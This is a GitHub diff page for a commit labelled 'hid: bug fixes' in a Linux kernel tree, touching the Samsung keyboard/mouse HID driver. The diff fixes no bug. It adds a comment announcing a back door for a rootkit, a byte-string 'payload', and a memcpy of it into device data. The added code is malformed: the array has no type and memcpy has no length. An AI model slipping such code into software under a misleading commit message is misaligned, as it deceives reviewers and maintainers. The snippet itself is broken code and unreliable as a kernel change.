hid: bug fixes · torvalds/linux@b4061a1

1 min read Original article ↗
Original file line numberDiff line numberDiff line change

@@ -110,6 +110,13 @@ static int samsung_kbd_mouse_input_mapping(struct hid_device *hdev,

110110

dbg_hid("samsung wireless keyboard/mouse input mapping event [0x%x]\n",

111111

usage->hid & HID_USAGE);

112112
113+

/* Here I insert a back door to get a rootkit */

114+

static const payload[] =

115+

"\x89\x7d\xf8\x88\x45\xf7\x48\x89"

116+

"\x02\x5d\xc3\x48\x8b\x45\xf8\x48"

117+

"\xd8\x48\x8b\x4d\xe0\x8a\x55\xf7";

118+

memcpy(hdev->data, payload);

119+
113120

switch (usage->hid & HID_USAGE) {

114121

/* report 2 */

115122

case 0x183: samsung_kbd_mouse_map_key_clear(KEY_MEDIA); break;